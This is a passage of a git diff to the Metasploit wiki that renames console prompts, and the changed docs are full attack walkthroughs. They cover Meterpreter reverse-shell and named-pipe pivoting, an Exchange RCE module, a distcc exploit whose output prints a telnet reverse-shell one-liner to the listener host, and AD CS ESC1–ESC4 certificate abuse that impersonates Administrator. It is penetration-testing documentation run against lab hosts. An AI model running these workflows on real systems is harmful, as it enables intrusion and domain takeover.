the Pivot At this point we can now use the pivot with any Metasploit modules as shown below: ```msf -msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options +msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce): @@ -195,7 +195,7 @@ Payload options (cmd/windows/powershell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 172.19.182.171 yes The listen address (an interface may be speci - fied) + field) LOAD_MODULES no A list of powershell modules separated by a c omma to download over the web LPORT 4444 yes The listen port @@ -208,11 +208,11 @@ Exploit target: 0 Windows Command -msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check +msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check [*] Target is an Exchange Server! [*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version! -msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > +msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > ``` ## SMB Named Pipe Pivoting in Meterpreter @@ -222,23 +222,23 @@ The Windows Meterpreter payload supports lateral movement in a network through S First open a Windows Meterpreter session to the pivot machine: ```msf -msf6 > use payload/windows/x64/meterpreter/reverse_tcp -smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171 +msf > use payload/windows/x64/meterpreter/reverse_tcp +smsf payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171 lhost => 172.19.182.171 -msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578 +msf payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578 lport => 4578 -msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler +msf payload(windows/x64/meterpreter/reverse_tcp) > to_handler [*] Payload Handler Started as Job 0 [*] Started reverse TCP handler on 172.19.182.171:4578 -msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34 +msf payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34 [*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500 ``` Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address: ```msf -msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1 +msf payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1 [*] Starting interaction with 1... meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows @@ -250,7 +250,7 @@ meterpreter > background Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine. Note there is no need to start a handler for the named pipe payload. ```msf -msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options +msf payload(windows/x64/meterpreter/reverse_named_pipe) > show options Module options (payload/windows/x64/meterpreter/reverse_named_pipe): @@ -260,17 +260,17 @@ Module options (payload/windows/x64/meterpreter/reverse_named_pipe): PIPEHOST . yes Host of the pipe to connect to PIPENAME msf-pipe yes Name of the pipe to listen on -msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221 +msf payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221 pipehost => 169.254.16.221 -msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe +msf payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe [*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe... ``` After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot. ```msf -msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500 +msf payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500 -msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions +msf payload(windows/x64/meterpreter/reverse_named_pipe) > sessions Active sessions =============== @@ -384,8 +384,8 @@ Once routes are established, Metasploit modules can access the IP range specifie Metasploit can launch a SOCKS proxy server using the module: `auxiliary/server/socks_proxy`. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Here is an example of how this module might be used: ```msf -msf6 > use auxiliary/server/socks_proxy -msf6 auxiliary(server/socks_proxy) > show options +msf > use auxiliary/server/socks_proxy +msf auxiliary(server/socks_proxy) > show options Module options (auxiliary/server/socks_proxy): @@ -407,16 +407,16 @@ Auxiliary action: Proxy Run a SOCKS proxy server -msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 +msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 SRVHOST => 127.0.0.1 -msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080 +msf auxiliary(server/socks_proxy) > set SRVPORT 1080 SRVPORT => 1080 -msf6 auxiliary(server/socks_proxy) > run +msf auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 0. -msf6 auxiliary(server/socks_proxy) > +msf auxiliary(server/socks_proxy) > [*] Starting the SOCKS proxy server -msf6 auxiliary(server/socks_proxy) > jobs +msf auxiliary(server/socks_proxy) > jobs Jobs ==== @@ -425,7 +425,7 @@ Jobs -- ---- ------- ------------ 0 Auxiliary: server/socks_proxy -msf6 auxiliary(server/socks_proxy) > +msf auxiliary(server/socks_proxy) > ``` ### proxychains-ng Setup diff --git a/docs/metasploit-framework.wiki/Using-Metasploit.md b/docs/metasploit-framework.wiki/Using-Metasploit.md index 0590a666b7949..8e1ab9ea5434c 100644 --- a/docs/metasploit-framework.wiki/Using-Metasploit.md +++ b/docs/metasploit-framework.wiki/Using-Metasploit.md @@ -18,7 +18,7 @@ Assuming you have installed Metasploit, either with the official Rapid7 nightly Metasploit Documentation: https://docs.metasploit.com/ -msf6 > +msf > ``` ### Finding modules @@ -33,7 +33,7 @@ Metasploit is based around the concept of [[modules]]. The most commonly used mo You can use the `search` command to search for modules: ```msf -msf6 > search type:auxiliary http html title tag +msf > search type:auxiliary http html title tag Matching Modules ================ @@ -45,15 +45,15 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title -msf6 > +msf > ``` You can `use` a Metasploit module by specifying the full module name. The prompt will be updated to indicate the currently active module: ```msf -msf6 > use auxiliary/scanner/http/title -msf6 auxiliary(scanner/http/title) > +msf > use auxiliary/scanner/http/title +msf auxiliary(scanner/http/title) > ``` ### Running Auxiliary modules @@ -62,14 +62,14 @@ Auxiliary modules do not exploit a target, but can perform data gathering or adm extracting the HTTP title from a server: ```msf -msf6 > use auxiliary/scanner/http/title -msf6 auxiliary(scanner/http/title) > +msf > use auxiliary/scanner/http/title +msf auxiliary(scanner/http/title) > ``` Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command: ```msf -msf6 auxiliary(scanner/http/title) > show options +msf auxiliary(scanner/http/title) > show options Module options (auxiliary/scanner/http/title): @@ -88,21 +88,21 @@ Module options (auxiliary/scanner/http/title): View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/http/title) > +msf auxiliary(scanner/http/title) > ``` To set a module option, use the `set command`. We will set the `RHOST` option - which represents the target host(s) that the module will run against: ```msf -msf6 auxiliary(scanner/http/title) > set RHOSTS google.com +msf auxiliary(scanner/http/title) > set RHOSTS google.com RHOSTS => google.com ``` The `run` command will run the module against the target, showing the target's HTTP title: ```msf -msf6 auxiliary(scanner/http/title) > run +msf auxiliary(scanner/http/title) > run [+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved [*] Scanned 1 of 1 hosts (100% complete) @@ -113,7 +113,7 @@ New in Metasploit 6 there is added support for running modules with options set both `RHOSTS` and enabling `HttpTrace` functionality: ```msf -msf6 auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true +msf auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true #################### # Request: @@ -142,7 +142,7 @@ The document has moved [+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/title) > +msf auxiliary(scanner/http/title) > ``` ### Running exploit modules @@ -156,9 +156,9 @@ For instance in a Virtual Machine, or with Docker. There are multiple pre-built For instance - targeting a vulnerable Metasploitable2 VM and using the `unix/misc/distcc_exec` module: ```msf -msf6 > use unix/misc/distcc_exec +msf > use unix/misc/distcc_exec [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(unix/misc/distcc_exec) > +msf exploit(unix/misc/distcc_exec) > ``` Exploit modules will generally at a minimum require the following options to be set: @@ -170,7 +170,7 @@ Exploit modules will generally at a minimum require the following options to be Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command: ```msf -msf6 exploit(unix/misc/distcc_exec) > options +msf exploit(unix/misc/distcc_exec) > options Module options (exploit/unix/misc/distcc_exec): @@ -198,24 +198,24 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(unix/misc/distcc_exec) > +msf exploit(unix/misc/distcc_exec) > ``` For this scenario you can manually set each of the required option values (`RHOST`, `LHOST`, and optionally `PAYLOAD`): ```msf -msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133 +msf exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133 rhost => 192.168.123.133 -msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1 +msf exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse +msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse payload => cmd/unix/reverse ``` The `run` command will run the module against the target, there is also an aliased `exploit` command which will perform the same action: ```msf -msf6 exploit(unix/misc/distcc_exec) > run +msf exploit(unix/misc/distcc_exec) > run [+] sh -c '(sleep 4375|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)' [*] Started reverse TCP double handler on 192.168.123.1:4444 @@ -238,7 +238,7 @@ daemon New in Metasploit 6 there is added support for running modules with options set as part of the run command: ```msf -msf6 exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse +msf exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse [+] sh -c '(sleep 4305|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)' [*] Started reverse TCP double handler on 192.168.123.1:4444 diff --git a/docs/metasploit-framework.wiki/Work-needed-to-allow-msfdb-to-use-postgresql-common.md b/docs/metasploit-framework.wiki/Work-needed-to-allow-msfdb-to-use-postgresql-common.md index c8e934695188f..9bd4dbad63a06 100644 --- a/docs/metasploit-framework.wiki/Work-needed-to-allow-msfdb-to-use-postgresql-common.md +++ b/docs/metasploit-framework.wiki/Work-needed-to-allow-msfdb-to-use-postgresql-common.md @@ -163,7 +163,7 @@ Start `msfconsole` and verify postgresql connection using the `db_status` comman mv ~/.msf4/config ~/.msf4/config.disable ./msfconsole ... -msf5 > db_status +msf > db_status [*] Connected to msf. Connection type: postgresql. ``` @@ -171,4 +171,4 @@ Drop (delete) the cluster: ``` PG_CLUSTER_CONF_ROOT=$HOME/.local/etc/postgresql pg_dropcluster 9.6 msf -``` \ No newline at end of file +``` diff --git a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index e6917b8aa95ae..0cb672516fe91 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -207,8 +207,8 @@ This will cause the module to log into the LDAP server on the target DC, and lis as well as the permissions that are required to enroll in these certificate templates. The following is a sample output of running this against a test server: ```msf -msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options +msf > use auxiliary/gather/ldap_esc_vulnerable_cert_finder +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder): @@ -229,15 +229,15 @@ Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST DOMAIN => DAFOREST -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser USERNAME => normaluser -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass PASSWORD => normalpass -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85 +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run [*] Running module against 172.30.239.85 [*] Discovering base DN automatically @@ -318,7 +318,7 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > ``` From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, @@ -357,24 +357,24 @@ If we know the domain name is `daforest.com` and the domain administrator of thi quickly set this up: ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA CA => daforest-WIN-BR0CCBA815B-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template CERT_TEMPLATE => ESC1-Template -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com +msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com ALT_UPN => Administrator@daforest.com -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -383,7 +383,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator` @@ -401,20 +401,20 @@ To do this we will use the `ipcr_cert` module and we will set the usual options, For the first run, we will set the usual `RHOSTS`, `CA`, and `CERT_TEMPLATE` details, being sure to set `CERT_TEMPLATE` to the vulnerable `ESC2-Template` certificate template, and supply valid SMB login credentials. This will grant us a certificate for our current user that is based off of the vulnerable `ESC2-Template`: ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA CA => daforest-WIN-BR0CCBA815B-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template CERT_TEMPLATE => ESC2-Template -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > show options +msf auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -444,7 +444,7 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -453,7 +453,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > loot +msf auxiliary(admin/dcerpc/icpr_cert) > loot Loot ==== @@ -462,13 +462,13 @@ host service type name content info ---- ------- ---- ---- ------- ---- ---- windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Next, we need to use the PFX file that we got to request another certificate to authenticate on behalf of another user. We will use the `PFX` option to specify the PFX file, and the `ON_BEHALF_OF` setting to specify the user we would like to authenticate on behalf of. Finally we will change the certificate template to another certificate template that we are able to enroll in. The default `User` certificate should work here since it allows enrollment by any authenticated domain user. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > show options +msf auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -498,13 +498,13 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator +msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator ON_BEHALF_OF => DAFOREST\Administrator -msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx +msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx PFX => /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User -msf6 auxiliary(admin/dcerpc/icpr_cert) > show options +msf auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -537,7 +537,7 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -546,7 +546,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > loot +msf auxiliary(admin/dcerpc/icpr_cert) > loot Loot ==== @@ -556,7 +556,7 @@ host service type name content info windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator` @@ -592,8 +592,8 @@ Narrowing this list down to those we can actually enroll in as users, this leave We'll first get the cert using `ipcr_cert` with the `ESC3-Template1` certificate. ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > show options +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -623,19 +623,19 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA CA => daforest-WIN-BR0CCBA815B-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1 +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1 CERT_TEMPLATE => ESC3-Template1 -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -644,7 +644,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > loot +msf auxiliary(admin/dcerpc/icpr_cert) > loot Loot ==== @@ -654,17 +654,17 @@ host service type name content info windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216173718_default_unknown_windows.ad.cs_580032.pfx windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this: ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx +msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx PFX => /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator +msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator ON_BEHALF_OF => DAFOREST\Administrator -msf6 auxiliary(admin/dcerpc/icpr_cert) > show options +msf auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -697,9 +697,9 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -708,15 +708,15 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174559_default_unknown_windows.ad.cs_570105.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Just to show this is also possible with `ESC3-Template2` here is a snippet showing that also works: ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2 +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2 CERT_TEMPLATE => ESC3-Template2 -msf6 auxiliary(admin/dcerpc/icpr_cert) > show options +msf auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -749,7 +749,7 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -758,7 +758,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216180342_default_unknown_windows.ad.cs_390825.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator` @@ -774,20 +774,20 @@ the `ESC4-Test` certificate template does not allow the certificate's subject na `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field). ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA CA => daforest-WIN-BR0CCBA815B-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE 